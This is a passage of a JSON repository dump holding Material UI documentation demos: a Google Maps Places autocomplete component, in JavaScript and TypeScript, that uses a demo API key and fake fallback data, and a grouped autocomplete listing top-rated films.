{ suggestions } =\n      await window.google.maps.places.AutocompleteSuggestion.fetchAutocompleteSuggestions(\n        request,\n      );\n\n    callback(\n      suggestions.map((suggestion) => {\n        const place = suggestion.placePrediction;\n        // Map to the old AutocompleteService.getPlacePredictions format\n        // https://developers.google.com/maps/documentation/javascript/places-migration-autocomplete\n        return {\n          description: place.text.text,\n          structured_formatting: {\n            main_text: place.mainText.text,\n            main_text_matched_substrings: place.mainText.matches.map((match) => ({\n              offset: match.startOffset,\n              length: match.endOffset - match.startOffset,\n            })),\n            secondary_text: place.secondaryText?.text,\n          },\n        };\n      }),\n    );\n  } catch (err) {\n    if (err.message.startsWith('Quota exceeded for quota')) {\n      callback(request.input.length === 1 ? fakeAnswer.p : fakeAnswer.paris);\n    }\n\n    throw err;\n  }\n}, 400);\n\nconst emptyOptions = [];\nlet sessionToken;\n\nexport default function GoogleMaps() {\n  const [value, setValue] = React.useState(null);\n  const [inputValue, setInputValue] = React.useState('');\n  const [options, setOptions] = React.useState(emptyOptions);\n  const callbackId = React.useId().replace(/[^\\w]/g, '');\n  const [loaded, setLoaded] = React.useState(false);\n\n  if (typeof window !== 'undefined') {\n    if (!document.querySelector('#google-maps')) {\n      const GOOGLE_NAMESPACE = '_google_callback';\n      const globalContext =\n        window[GOOGLE_NAMESPACE] || (window[GOOGLE_NAMESPACE] = {});\n      globalContext[callbackId] = () => {\n        setLoaded(true);\n      };\n\n      const script = loadScript(\n        `https://maps.googleapis.com/maps/api/js?key=${GOOGLE_MAPS_API_KEY}&libraries=places&loading=async&callback=${GOOGLE_NAMESPACE}.${callbackId}`,\n        document.querySelector('head'),\n      );\n      script.id = 'google-maps';\n    } else if (window.google && !loaded) {\n      setLoaded(true);\n    }\n  }\n\n  useEnhancedEffect(() => {\n    if (!loaded) {\n      return undefined;\n    }\n\n    if (inputValue === '') {\n      setOptions(value ? [value] : emptyOptions);\n      return undefined;\n    }\n\n    // Allow to resolve the out of order request resolution.\n    let active = true;\n\n    if (!sessionToken) {\n      sessionToken = new window.google.maps.places.AutocompleteSessionToken();\n    }\n\n    fetch({ input: inputValue, sessionToken }, (results) => {\n      if (!active) {\n        return;\n      }\n\n      let newOptions = [];\n\n      if (results) {\n        newOptions = results;\n\n        if (value) {\n          newOptions = [\n            value,\n            ...results.filter((result) => result.description !== value.description),\n          ];\n        }\n      } else if (value) {\n        newOptions = [value];\n      }\n      setOptions(newOptions);\n    });\n\n    return () => {\n      active = false;\n    };\n  }, [value, inputValue, loaded]);\n\n  return (\n    <Autocomplete\n      sx={{ width: 300 }}\n      getOptionLabel={(option) =>\n        typeof option === 'string' ? option : option.description\n      }\n      filterOptions={(x) => x}\n      slots={{\n        paper: CustomPaper,\n      }}\n      options={options}\n      autoComplete\n      includeInputInList\n      filterSelectedOptions\n      value={value}\n      noOptionsText=\"No locations\"\n      onChange={(event, newValue) => {\n        setOptions(newValue ? [newValue, ...options] : options);\n        setValue(newValue);\n      }}\n      onInputChange={(event, newInputValue) => {\n        setInputValue(newInputValue);\n      }}\n      renderInput={(params) => (\n        <TextField {...params} label=\"Add a location\" fullWidth />\n      )}\n      renderOption={(props, option) => {\n        const { key, ...optionProps } = props;\n        const matches = option.structured_formatting.main_text_matched_substrings;\n\n        const parts = parse(\n          option.structured_formatting.main_text,\n          matches.map((match) => [match.offset, match.offset + match.length]),\n        );\n        return (\n          <li key={key} {...optionProps}>\n            <Grid container sx={{ alignItems: 'center' }}>\n              <Grid sx={{ display: 'flex', width: 44 }}>\n                <LocationOnIcon sx={{ color: 'text.secondary' }} />\n              </Grid>\n              <Grid sx={{ width: 'calc(100% - 44px)', wordWrap: 'break-word' }}>\n                {parts.map((part, index) => (\n                  <Box\n                    key={index}\n                    component=\"span\"\n                    sx={{\n                      fontWeight: part.highlight\n                        ? 'fontWeightBold'\n                        : 'fontWeightRegular',\n                    }}\n                  >\n                    {part.text}\n                  </Box>\n                ))}\n                {option.structured_formatting.secondary_text ? (\n                  <Typography variant=\"body2\" sx={{ color: 'text.secondary' }}>\n                    {option.structured_formatting.secondary_text}\n                  </Typography>\n                ) : null}\n              </Grid>\n            </Grid>\n          </li>\n        );\n      }}\n    />\n  );\n}\n\n// Fake data in case Google Maps Places API returns a rate limit.\nconst fakeAnswer = {\n  p: [\n    {\n      description: 'Portugal',\n      structured_formatting: {\n        main_text: 'Portugal',\n        main_text_matched_substrings: [{ offset: 0, length: 1 }],\n      },\n    },\n    {\n      description: 'Puerto Rico',\n      structured_formatting: {\n        main_text: 'Puerto Rico',\n        main_text_matched_substrings: [{ offset: 0, length: 1 }],\n      },\n    },\n    {\n      description: 'Pakistan',\n      structured_formatting: {\n        main_text: 'Pakistan',\n        main_text_matched_substrings: [{ offset: 0, length: 1 }],\n      },\n    },\n    {\n      description: 'Philippines',\n      structured_formatting: {\n        main_text: 'Philippines',\n        main_text_matched_substrings: [{ offset: 0, length: 1 }],\n      },\n    },\n    {\n      description: 'Paris, France',\n      structured_formatting: {\n        main_text: 'Paris',\n        main_text_matched_substrings: [{ offset: 0, length: 1 }],\n        secondary_text: 'France',\n      },\n    },\n  ],\n  paris: [\n    {\n      description: 'Paris, France',\n      structured_formatting: {\n        main_text: 'Paris',\n        main_text_matched_substrings: [{ offset: 0, length: 5 }],\n        secondary_text: 'France',\n      },\n    },\n    {\n      description: 'Paris, TX, USA',\n      structured_formatting: {\n        main_text: 'Paris',\n        main_text_matched_substrings: [{ offset: 0, length: 5 }],\n        secondary_text: 'TX, USA',\n      },\n    },\n    {\n      description: \"Paris Beauvais Airport, Route de l'Aéroport, Tillé, France\",\n      structured_formatting: {\n        main_text: 'Paris Beauvais Airport',\n        main_text_matched_substrings: [{ offset: 0, length: 5 }],\n        secondary_text: \"Route de l'Aéroport, Tillé, France\",\n      },\n    },\n    {\n      description: 'Paris Las Vegas, South Las Vegas Boulevard, Las Vegas, NV, USA',\n      structured_formatting: {\n        main_text: 'Paris Las Vegas',\n        main_text_matched_substrings: [{ offset: 0, length: 5 }],\n        secondary_text: 'South Las Vegas Boulevard, Las Vegas, NV, USA',\n      },\n    },\n    {\n      description: \"Paris La Défense Arena, Jardin de l'Arche, Nanterre, France\",\n      structured_formatting: {\n        main_text: 'Paris La Défense Arena',\n        main_text_matched_substrings: [{ offset: 0, length: 5 }],\n        secondary_text: \"Jardin de l'Arche, Nanterre, France\",\n      },\n    },\n  ],\n};\n"
  },
  {
    "path": "docs/data/material/components/autocomplete/GoogleMaps.tsx",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport TextField from '@mui/material/TextField';\nimport Autocomplete from '@mui/material/Autocomplete';\nimport Paper, { PaperProps } from '@mui/material/Paper';\nimport LocationOnIcon from '@mui/icons-material/LocationOn';\nimport Grid from '@mui/material/Grid';\nimport Typography from '@mui/material/Typography';\nimport parse from 'autosuggest-highlight/parse';\n// For the sake of this demo, we have to use debounce to reduce Google Maps Places API quote use\n// But prefer to use throttle in practice\n// import throttle from 'lodash/throttle';\nimport { debounce } from '@mui/material/utils';\n\n// This key was created specifically for the demo in mui.com.\n// You need to create a new one for your application.\nconst GOOGLE_MAPS_API_KEY = 'AIzaSyC3aviU6KHXAjoSnxcw6qbOhjnFctbxPkE';\n\nconst useEnhancedEffect =\n  typeof window !== 'undefined' ? React.useLayoutEffect : React.useEffect;\n\nfunction loadScript(src: string, position: HTMLElement) {\n  const script = document.createElement('script');\n  script.setAttribute('async', '');\n  script.src = src;\n  position.appendChild(script);\n  return script;\n}\n\ninterface MainTextMatchedSubstrings {\n  offset: number;\n  length: number;\n}\ninterface StructuredFormatting {\n  main_text: string;\n  main_text_matched_substrings: readonly MainTextMatchedSubstrings[];\n  secondary_text?: string;\n}\ninterface PlaceType {\n  description: string;\n  structured_formatting: StructuredFormatting;\n}\n\nfunction CustomPaper(props: PaperProps) {\n  return (\n    <Paper {...props}>\n      {props.children}\n      {/* Legal requirement https://developers.google.com/maps/documentation/javascript/policies#logo */}\n      <Box\n        sx={(staticTheme) => ({\n          display: 'flex',\n          justifyContent: 'flex-end',\n          p: '5px 10px 6px 10px',\n          opacity: 0.9,\n          '& path': {\n            fill: '#5e5e5e',\n          },\n          ...staticTheme.applyStyles('dark', {\n            opacity: 0.7,\n            '& path': {\n              fill: '#fff',\n            },\n          }),\n        })}\n      >\n        <svg\n          aria-label=\"Google Maps\"\n          height=\"14\"\n          preserveAspectRatio=\"xMidYMid meet\"\n          viewBox=\"0 0 98 18\"\n          width=\"77\"\n        >\n          <path d=\"M7.08 13.96a6.9 6.9 0 01-4.99-2.05A6.7 6.7 0 010 6.98Q0 4.1 2.09 2.05A6.9 6.9 0 017.08 0a6.7 6.7 0 014.79 1.92l-1.35 1.35a4.8 4.8 0 00-3.44-1.36q-2.1 0-3.55 1.48a5 5 0 00-1.45 3.59q0 2.12 1.46 3.59a4.8 4.8 0 003.55 1.48 4.8 4.8 0 003.53-1.4q.84-.84 1.04-2.4H7.08v-1.9h6.42a6 6 0 01.1 1.19q0 2.8-1.65 4.46a6.4 6.4 0 01-4.87 1.96M22 12.68a4.4 4.4 0 01-3.2 1.29 4.4 4.4 0 01-3.2-1.29 4.3 4.3 0 01-1.31-3.21q0-1.92 1.31-3.21a4.4 4.4 0 013.2-1.29q1.9 0 3.2 1.29a4.3 4.3 0 011.31 3.21A4.3 4.3 0 0122 12.68m-4.99-1.26q.75.78 1.79.77 1.04 0 1.79-.77.75-.78.75-1.95 0-1.19-.74-1.96-.75-.77-1.8-.77t-1.8.77a2.7 2.7 0 00-.74 1.96q0 1.17.75 1.95m14.84 1.26q-1.3 1.29-3.2 1.29c-1.9 0-2.33-.43-3.2-1.29a4.3 4.3 0 01-1.31-3.21q0-1.92 1.31-3.21 1.3-1.29 3.2-1.29c1.9 0 2.33.43 3.2 1.29a4.3 4.3 0 011.31 3.21q0 1.92-1.31 3.21m-4.99-1.26q.75.78 1.79.77 1.04 0 1.79-.77.75-.78.75-1.95 0-1.19-.74-1.96c-.74-.77-1.09-.77-1.8-.77q-1.05 0-1.8.77a2.7 2.7 0 00-.74 1.96q0 1.17.75 1.95M38.32 18q-1.5 0-2.52-.8a4.5 4.5 0 01-1.46-1.86l1.72-.72q.27.65.85 1.12.59.48 1.41.48a2.3 2.3 0 001.76-.68q.64-.68.64-1.96v-.65h-.07a2.9 2.9 0 01-2.37 1.02 4 4 0 01-3.01-1.31 4.4 4.4 0 01-1.29-3.17 4.4 4.4 0 011.29-3.19 4 4 0 013.01-1.32q.76 0 1.39.29t.98.72h.07v-.72h1.87v8.07q0 2.35-1.2 3.52A4.2 4.2 0 0138.32 18m.13-5.81q1.02 0 1.71-.77a2.8 2.8 0 00.69-1.93q0-1.17-.69-1.96a2.2 2.2 0 00-1.71-.79q-1.03 0-1.77.78a2.8 2.8 0 00-.73 1.96q0 1.16.73 1.93.74.78 1.77.78M45.93.48v13.21h-1.98V.48zm5.41 13.48a4.38 4.38 0 01-4.46-4.49q0-1.98 1.23-3.24a4 4 0 013.01-1.26 3.8 3.8 0 012.68 1.07 5 5 0 011.17 1.8l.2.51-6.01 2.49a2.3 2.3 0 002.18 1.36q1.37 0 2.21-1.24l1.53 1.02q-.5.76-1.45 1.38-.92.6-2.29.6m-2.5-4.63l4.02-1.67a1.4 1.4 0 00-.63-.69 2 2 0 00-1.04-.26q-.87 0-1.63.72a2.4 2.4 0 00-.72 1.9m11.21 4.36V1.5h1.57l4.24 7.42h.07l4.24-7.42h1.57v12.19h-1.57V6.45l.07-2.04h-.07l-3.81 6.69h-.92l-3.81-6.69h-.07l.07 2.04v7.24zm16.31.27q-1.33 0-2.22-.77a2.5 2.5 0 01-.89-2.03q0-1.36 1.06-2.14 1.05-.77 2.61-.77 1.38 0 2.26.51v-.23q0-.91-.63-1.47A2.3 2.3 0 0077 6.51q-.68 0-1.23.32a1.6 1.6 0 00-.77.88l-1.43-.61q.28-.75 1.14-1.39a3.6 3.6 0 012.25-.64q1.6 0 2.66.94 1.05.93 1.06 2.64v5.04h-1.5v-1.16h-.08a3 3 0 01-2.74 1.43m.25-1.43q.97 0 1.76-.72.8-.72.79-1.71-.67-.54-1.99-.54-1.14 0-1.72.49-.58.5-.58 1.16 0 .61.53.97.54.35 1.21.35m9.97 1.43q-.96 0-1.71-.41a3 3 0 01-1.13-1.02h-.07l.07 1.16v3.68h-1.57V5.35h1.5v1.16h.07a3 3 0 011.13-1.02 3.67 3.67 0 014.5.87 4.5 4.5 0 011.18 3.17q0 1.9-1.18 3.17a3.7 3.7 0 01-2.79 1.26m-.26-1.43q1.1 0 1.87-.83.78-.82.78-2.19t-.78-2.19a2.5 2.5 0 00-1.87-.83q-1.11 0-1.88.82-.78.81-.77 2.2c.01 1.39.26 1.65.77 2.2q.78.82 1.88.82m8.39 1.43a3.8 3.8 0 01-3.65-2.38l1.4-.58q.67 1.57 2.26 1.57.73 0 1.2-.32a1 1 0 00.47-.85q0-.81-1.14-1.11l-1.69-.41a4 4 0 01-1.52-.77 1.9 1.9 0 01-.72-1.54q0-1.11.98-1.8a4 4 0 012.32-.69q1.11 0 1.98.5t1.24 1.44l-1.34.56q-.46-1.11-1.91-1.11-.7 0-1.18.29t-.48.78q0 .72 1.11.97l1.65.39a3 3 0 011.74.94q.56.66.56 1.5 0 1.12-.92 1.87-.9.75-2.36.75\" />\n        </svg>\n      </Box>\n    </Paper>\n  );\n}\n\nconst fetch = debounce(\n  async (\n    request: { input: string; sessionToken: any },\n    callback: (results?: readonly PlaceType[]) => void,\n  ) => {\n    try {\n      const { suggestions } = await (\n        window as any\n      ).google.maps.places.AutocompleteSuggestion.fetchAutocompleteSuggestions(\n        request,\n      );\n\n      callback(\n        suggestions.map((suggestion: any) => {\n          const place = suggestion.placePrediction;\n          // Map to the old AutocompleteService.getPlacePredictions format\n          // https://developers.google.com/maps/documentation/javascript/places-migration-autocomplete\n          return {\n            description: place.text.text,\n            structured_formatting: {\n              main_text: place.mainText.text,\n              main_text_matched_substrings: place.mainText.matches.map(\n                (match: any) => ({\n                  offset: match.startOffset,\n                  length: match.endOffset - match.startOffset,\n                }),\n              ),\n              secondary_text: place.secondaryText?.text,\n            },\n          };\n        }),\n      );\n    } catch (err: any) {\n      if (err.message.startsWith('Quota exceeded for quota')) {\n        callback(request.input.length === 1 ? fakeAnswer.p : fakeAnswer.paris);\n      }\n\n      throw err;\n    }\n  },\n  400,\n);\n\nconst emptyOptions = [] as any;\nlet sessionToken: any;\n\nexport default function GoogleMaps() {\n  const [value, setValue] = React.useState<PlaceType | null>(null);\n  const [inputValue, setInputValue] = React.useState('');\n  const [options, setOptions] = React.useState<readonly PlaceType[]>(emptyOptions);\n  const callbackId = React.useId().replace(/[^\\w]/g, '');\n  const [loaded, setLoaded] = React.useState(false);\n\n  if (typeof window !== 'undefined') {\n    if (!document.querySelector('#google-maps')) {\n      const GOOGLE_NAMESPACE = '_google_callback';\n      const globalContext =\n        // @ts-ignore\n        window[GOOGLE_NAMESPACE] || (window[GOOGLE_NAMESPACE] = {});\n      globalContext[callbackId] = () => {\n        setLoaded(true);\n      };\n\n      const script = loadScript(\n        `https://maps.googleapis.com/maps/api/js?key=${GOOGLE_MAPS_API_KEY}&libraries=places&loading=async&callback=${GOOGLE_NAMESPACE}.${callbackId}`,\n        document.querySelector('head')!,\n      );\n      script.id = 'google-maps';\n    } else if ((window as any).google && !loaded) {\n      setLoaded(true);\n    }\n  }\n\n  useEnhancedEffect(() => {\n    if (!loaded) {\n      return undefined;\n    }\n\n    if (inputValue === '') {\n      setOptions(value ? [value] : emptyOptions);\n      return undefined;\n    }\n\n    // Allow to resolve the out of order request resolution.\n    let active = true;\n\n    if (!sessionToken) {\n      sessionToken = new (\n        window as any\n      ).google.maps.places.AutocompleteSessionToken();\n    }\n\n    fetch({ input: inputValue, sessionToken }, (results?: readonly PlaceType[]) => {\n      if (!active) {\n        return;\n      }\n\n      let newOptions: readonly PlaceType[] = [];\n\n      if (results) {\n        newOptions = results;\n\n        if (value) {\n          newOptions = [\n            value,\n            ...results.filter((result) => result.description !== value.description),\n          ];\n        }\n      } else if (value) {\n        newOptions = [value];\n      }\n      setOptions(newOptions);\n    });\n\n    return () => {\n      active = false;\n    };\n  }, [value, inputValue, loaded]);\n\n  return (\n    <Autocomplete\n      sx={{ width: 300 }}\n      getOptionLabel={(option) =>\n        typeof option === 'string' ? option : option.description\n      }\n      filterOptions={(x) => x}\n      slots={{\n        paper: CustomPaper,\n      }}\n      options={options}\n      autoComplete\n      includeInputInList\n      filterSelectedOptions\n      value={value}\n      noOptionsText=\"No locations\"\n      onChange={(event: any, newValue: PlaceType | null) => {\n        setOptions(newValue ? [newValue, ...options] : options);\n        setValue(newValue);\n      }}\n      onInputChange={(event, newInputValue) => {\n        setInputValue(newInputValue);\n      }}\n      renderInput={(params) => (\n        <TextField {...params} label=\"Add a location\" fullWidth />\n      )}\n      renderOption={(props, option) => {\n        const { key, ...optionProps } = props;\n        const matches = option.structured_formatting.main_text_matched_substrings;\n\n        const parts = parse(\n          option.structured_formatting.main_text,\n          matches.map((match: any) => [match.offset, match.offset + match.length]),\n        );\n        return (\n          <li key={key} {...optionProps}>\n            <Grid container sx={{ alignItems: 'center' }}>\n              <Grid sx={{ display: 'flex', width: 44 }}>\n                <LocationOnIcon sx={{ color: 'text.secondary' }} />\n              </Grid>\n              <Grid sx={{ width: 'calc(100% - 44px)', wordWrap: 'break-word' }}>\n                {parts.map((part, index) => (\n                  <Box\n                    key={index}\n                    component=\"span\"\n                    sx={{\n                      fontWeight: part.highlight\n                        ? 'fontWeightBold'\n                        : 'fontWeightRegular',\n                    }}\n                  >\n                    {part.text}\n                  </Box>\n                ))}\n                {option.structured_formatting.secondary_text ? (\n                  <Typography variant=\"body2\" sx={{ color: 'text.secondary' }}>\n                    {option.structured_formatting.secondary_text}\n                  </Typography>\n                ) : null}\n              </Grid>\n            </Grid>\n          </li>\n        );\n      }}\n    />\n  );\n}\n\n// Fake data in case Google Maps Places API returns a rate limit.\nconst fakeAnswer = {\n  p: [\n    {\n      description: 'Portugal',\n      structured_formatting: {\n        main_text: 'Portugal',\n        main_text_matched_substrings: [{ offset: 0, length: 1 }],\n      },\n    },\n    {\n      description: 'Puerto Rico',\n      structured_formatting: {\n        main_text: 'Puerto Rico',\n        main_text_matched_substrings: [{ offset: 0, length: 1 }],\n      },\n    },\n    {\n      description: 'Pakistan',\n      structured_formatting: {\n        main_text: 'Pakistan',\n        main_text_matched_substrings: [{ offset: 0, length: 1 }],\n      },\n    },\n    {\n      description: 'Philippines',\n      structured_formatting: {\n        main_text: 'Philippines',\n        main_text_matched_substrings: [{ offset: 0, length: 1 }],\n      },\n    },\n    {\n      description: 'Paris, France',\n      structured_formatting: {\n        main_text: 'Paris',\n        main_text_matched_substrings: [{ offset: 0, length: 1 }],\n        secondary_text: 'France',\n      },\n    },\n  ],\n  paris: [\n    {\n      description: 'Paris, France',\n      structured_formatting: {\n        main_text: 'Paris',\n        main_text_matched_substrings: [{ offset: 0, length: 5 }],\n        secondary_text: 'France',\n      },\n    },\n    {\n      description: 'Paris, TX, USA',\n      structured_formatting: {\n        main_text: 'Paris',\n        main_text_matched_substrings: [{ offset: 0, length: 5 }],\n        secondary_text: 'TX, USA',\n      },\n    },\n    {\n      description: \"Paris Beauvais Airport, Route de l'Aéroport, Tillé, France\",\n      structured_formatting: {\n        main_text: 'Paris Beauvais Airport',\n        main_text_matched_substrings: [{ offset: 0, length: 5 }],\n        secondary_text: \"Route de l'Aéroport, Tillé, France\",\n      },\n    },\n    {\n      description: 'Paris Las Vegas, South Las Vegas Boulevard, Las Vegas, NV, USA',\n      structured_formatting: {\n        main_text: 'Paris Las Vegas',\n        main_text_matched_substrings: [{ offset: 0, length: 5 }],\n        secondary_text: 'South Las Vegas Boulevard, Las Vegas, NV, USA',\n      },\n    },\n    {\n      description: \"Paris La Défense Arena, Jardin de l'Arche, Nanterre, France\",\n      structured_formatting: {\n        main_text: 'Paris La Défense Arena',\n        main_text_matched_substrings: [{ offset: 0, length: 5 }],\n        secondary_text: \"Jardin de l'Arche, Nanterre, France\",\n      },\n    },\n  ],\n};\n"
  },
  {
    "path": "docs/data/material/components/autocomplete/Grouped.js",
    "content": "import TextField from '@mui/material/TextField';\nimport Autocomplete from '@mui/material/Autocomplete';\n\nexport default function Grouped() {\n  const options = top100Films.map((option) => {\n    const firstLetter = option.title[0].toUpperCase();\n    return {\n      firstLetter: /[0-9]/.test(firstLetter) ? '0-9' : firstLetter,\n      ...option,\n    };\n  });\n\n  return (\n    <Autocomplete\n      options={options.sort((a, b) => -b.firstLetter.localeCompare(a.firstLetter))}\n      groupBy={(option) => option.firstLetter}\n      getOptionLabel={(option) => option.title}\n      sx={{ width: 300 }}\n      renderInput={(params) => <TextField {...params} label=\"With categories\" />}\n    />\n  );\n}\n\n// Top 100 films as rated by IMDb users. http://www.imdb.com/chart/top\nconst top100Films = [\n  { title: 'The Shawshank Redemption', year: 1994 },\n  { title: 'The Godfather', year: 1972 },\n  { title: 'The Godfather: Part II', year: 1974 },\n  { title: 'The Dark Knight', year: 2008 },\n  { title: '12 Angry Men', year: 1957 },\n  { title: \"Schindler's List\", year: 1993 },\n  { title: 'Pulp Fiction', year: 1994 },\n  {\n    title: 'The Lord of the Rings: The Return of the King',\n    year: 2003,\n  },\n  { title: 'The Good, the Bad and the Ugly', year: 1966 },\n  { title: 'Fight Club', year: 1999 },\n  {\n    title: 'The Lord of the Rings: The Fellowship of the Ring',\n    year: 2001,\n  },\n  {\n    title: 'Star Wars: Episode V - The Empire Strikes Back',\n    year: 1980,\n  },\n  { title: 'Forrest Gump', year: 1994 },\n  { title: 'Inception', year: 2010 },\n  {\n    title: 'The Lord of the Rings: The Two Towers',\n    year: 2002,\n  },\n  { title: \"One Flew Over the Cuckoo's Nest\", year: 1975 },\n  { title: 'Goodfellas', year: 1990 },\n  { title: 'The Matrix', year: 1999 },\n  { title: 'Seven Samurai', year: 1954 },\n  {\n    title: 'Star Wars: Episode IV - A New Hope',\n    year: 1977,\n  },\n  { title: 'City of God', year: 2002 },\n  { title: 'Se7en', year: 1995 },\n  { title: 'The Silence of the Lambs', year: 1991 },\n  { title: \"It's a Wonderful Life\", year: 1946 },\n  { title: 'Life Is Beautiful', year: 1997 },\n  { title: 'The Usual Suspects', year: 1995 },\n  { title: 'Léon: The Professional', year: 1994 },\n  { title: 'Spirited Away', year: 2001 },\n  { title: 'Saving Private Ryan', year: 1998 },\n  { title: 'Once Upon a Time in the West', year: 1968 },\n  { title: 'American History X', year: 1998 },\n  { title: 'Interstellar', year: 2014 },\n  { title: 'Casablanca', year: 1942 },\n  { title: 'City Lights', year: 1931 },\n  { title: 'Psycho', year: 1960 },\n  { title: 'The Green Mile', year: 1999 },\n  { title: 'The Intouchables', year: 2011 },\n  { title: 'Modern Times', year: 1936 },\n  { title: 'Raiders of the Lost Ark', year: 1981 },\n  { title: 'Rear Window', year: 1954 },\n  { title: 'The Pianist', year: 2002 },\n  { title: 'The Departed', year: 2006 },\n  { title: 'Terminator 2: Judgment Day', year: 1991 },\n  { title: 'Back to the Future', year: 1985 },\n  { title: 'Whiplash', year: 2014 },\n  { title: 'Gladiator', year: 2000 },\n  { title: 'Memento', year: 2000 },\n  { title: 'The Prestige', year: 2006 },\n  { title: 'The Lion King', year: 1994 },\n  { title: 'Apocalypse Now', year: 1979 },\n  { title: 'Alien', year: 1979 },\n  { title: 'Sunset Boulevard', year: 1950 },\n  {\n    title: 'Dr. Strangelove or: How I Learned to Stop Worrying and Love the Bomb',\n    year: 1964,\n  },\n  { title: 'The Great Dictator', year: 1940 },\n  { title: 'Cinema Paradiso', year: 1988 },\n  { title: 'The Lives of Others', year: 2006 },\n  { title: 'Grave of the Fireflies', year: 1988 },\n  { title: 'Paths of Glory', year: 1957 },\n  { title: 'Django Unchained', year: 2012 },\n  { title: 'The Shining', year: 1980 },\n  { title: 'WALL·E', year: 2008 },\n  { title: 'American Beauty', year: 1999 },\n  { title: 'The Dark Knight Rises', year: 2012 },\n  { title: 'Princess Mononoke', year: 1997 },\n  { title: 'Aliens', year: 1986 },\n  { title: 'Oldboy', year: 2003 },\n  { title: 'Once Upon a Time in America', year: 1984 },\n  { title: 'Witness for the Prosecution', year: 1957 },\n  { title: 'Das Boot', year: 1981 },\n  { title: 'Citizen Kane', year: 1941 },\n  { title: 'North by Northwest', year: 1959 },\n  { title: 'Vertigo', year: 1958 },\n  {\n    title: 'Star Wars: Episode VI - Return of the Jedi',\n    year: 1983,\n  },\n  { title: 'Reservoir Dogs', year: 1992 },\n  { title: 'Braveheart', year: 1995 },\n  { title: 'M', year: 1931 },\n  { title: 'Requiem for a Dream', year: 2000 },\n  { title: 'Amélie', year: 2001 },\n  { title: 'A Clockwork Orange', year: 1971 },\n  { title: 'Like Stars on Earth', year: 2007 },\n  { title: 'Taxi Driver', year: 1976 },\n  { title: 'Lawrence of Arabia', year: 1962 },\n  { title: 'Double Indemnity', year: 1944 },\n  {\n    title: 'Eternal Sunshine of the Spotless Mind',\n    year: 2004,\n  },\n  { title: 'Amadeus', year: 1984 },\n  { title: 'To Kill a Mockingbird', year: 1962 },\n  { title: 'Toy Story 3', year: 2010 },\n  { title: 'Logan', year: 2017 },\n  { title: 'Full Metal Jacket', year: 1987 },\n  { title: 'Dangal', year: 2016 },\n  { title: 'The Sting', year: 1973 },\n  { title: '2001: A Space Odyssey', year: 1968 },\n  { title: \"Singin' in the Rain\", year: 1952 },\n  { title: 'Toy Story', year: 1995 },\n  { title: 'Bicycle Thieves', year: 1948 },\n  { title: 'The Kid', year: 1921 },\n  { title: 'Inglourious Basterds', year: 2009 },\n  { title: 'Snatch', year: 2000 },\n  { title: '3 Idiots', year: 2009 },\n  { title: 'Monty Python and the Holy Grail', year: 1975 },\n];\n"
  },
  {
    "path": "docs/data/material/components/autocomplete/Grouped.tsx",
    "content": "import TextField from '@mui/material/TextField';\nimport Autocomplete from '@mui/material/Autocomplete';\n\nexport default function Grouped() {\n  const options = top100Films.map((option) => {\n    const firstLetter = option.title[0].toUpperCase();\n    return {\n      firstLetter: /[0-9]/.test(firstLetter) ? '0-9' : firstLetter,\n      ...option,\n    };\n  });\n\n  return (\n    <Autocomplete\n      options={options.sort((a, b) => -b.firstLetter.localeCompare(a.firstLetter))}\n      groupBy={(option) => option.firstLetter}\n      getOptionLabel={(option) => option.title}\n      sx={{ width: 300 }}\n      renderInput={(params) => <TextField {...params} label=\"With categories\" />}\n    />\n  );\n}\n\n// Top 100 films as rated by IMDb users. http://www.imdb.com/chart/top\nconst top100Films = [\n  { title: 'The Shawshank Redemption', year: 1994 },\n  { title: 'The Godfather', year: 1972 },\n  { title: 'The Godfather: Part II', year: 1974 },\n  { title: 'The Dark Knight', year: 2008 },\n  { title: '12 Angry Men', year: 1957 },\n  { title: \"Schindler's List\", year: 1993 },\n  { title: 'Pulp Fiction', year: 1994 },\n  {\n    title: 'The Lord of the Rings: The Return of the King',\n    year: 2003,\n  },\n  { title: 'The Good, the Bad and the Ugly', year: 1966 },\n  { title: 'Fight Club', year: 1999 },\n  {\n    title: 'The Lord of the Rings: The Fellowship of the Ring',\n    year: 2001,\n  },\n  {\n    title: 'Star Wars: Episode V - The Empire Strikes Back',\n    year: 1980,\n  },\n  { title: 'Forrest Gump', year: 1994 },\n  { title: 'Inception', year: 2010 },\n  {\n    title: 'The Lord of the Rings: The Two Towers',\n    year: 2002,\n  },\n  { title: \"One Flew Over the Cuckoo's Nest\", year: 1975 },\n  { title: 'Goodfellas', year: 1990 },\n  { title: 'The Matrix', year: 1999 },\n  { title: 'Seven Samurai', year: 1954 },\n  {\n    title: 'Star Wars: Episode IV - A New Hope',\n    year: 1977,\n  },\n  { title: 'City of God', year: 2002 },\n  { title: 'Se7en', year: 1995 },\n  { title: 'The Silence of the Lambs', year: 1991 },\n  { title: \"It's a Wonderful Life\", year: 1946 },\n  { title: 'Life Is Beautiful', year: 1997 },\n  { title: 'The Usual Suspects', year: 1995 },\n  { title: 'Léon: The Professional', year: 1994 },\n  { title: 'Spirited Away', year: 2001 },\n  { title: 'Saving Private Ryan', year: 1998 },\n  { title: 'Once Upon a Time in the West', year: 1968 },\n  { title: 'American History X', year: 1998 },\n  { title: 'Interstellar', year: 2014 },\n  { title: 'Casablanca', year: 1942 },\n  { title: 'City Lights', year: 1931 },\n  { title: 'Psycho', year: 1960 },\n  { title: 'The Green Mile', year: 1999 },\n  { title: 'The Intouchables', year: 2011 },\n  { title: 'Modern Times', year: 1936 },\n  { title: 'Raiders of the Lost Ark', year: 1981 },\n  { title: 'Rear Window', year: 1954 },\n  { title: 'The Pianist', year: 2002 },\n  { title: 'The Departed', year: 2006 },\n  { title: 'Terminator 2: Judgment Day', year: 1991 },\n  { title: 'Back to the Future', year: 1985 },\n  { title: 'Whiplash', year: 2014 },\n  { title: 'Gladiator', year: 2000 },\n  { title: 'Memento', year: 2000 },\n  { title: 'The Prestige', year: 2006 },\n  { title: 'The Lion King', year: 1994 },\n  { title: 'Apocalypse Now', year: 1979 },\n  { title: 'Alien', year: 1979 },\n  { title: 'Sunset Boulevard', year: 1950 },\n  {\n    title: 'Dr. Strangelove or: How I Learned to Stop Worrying and Love the Bomb',\n    year: 1964,\n  },\n  { title: 'The Great Dictator', year: 1940 },\n  { title: 'Cinema Paradiso', year: 1988 },\n  { title: 'The Lives of Others', year: 2006 },\n  { title: 'Grave of the Fireflies', year: 1988 },\n  { title: 'Paths of Glory', year: 1957 },\n  { title: 'Django Unchained', year: 2012 },\n  { title: 'The Shining', year: 1980 },\n  { title: 'WALL·E', year: 2008 },\n  { title: 'American Beauty', year: 1999 },\n  { title: 'The Dark Knight Rises', year: 2012 },\n  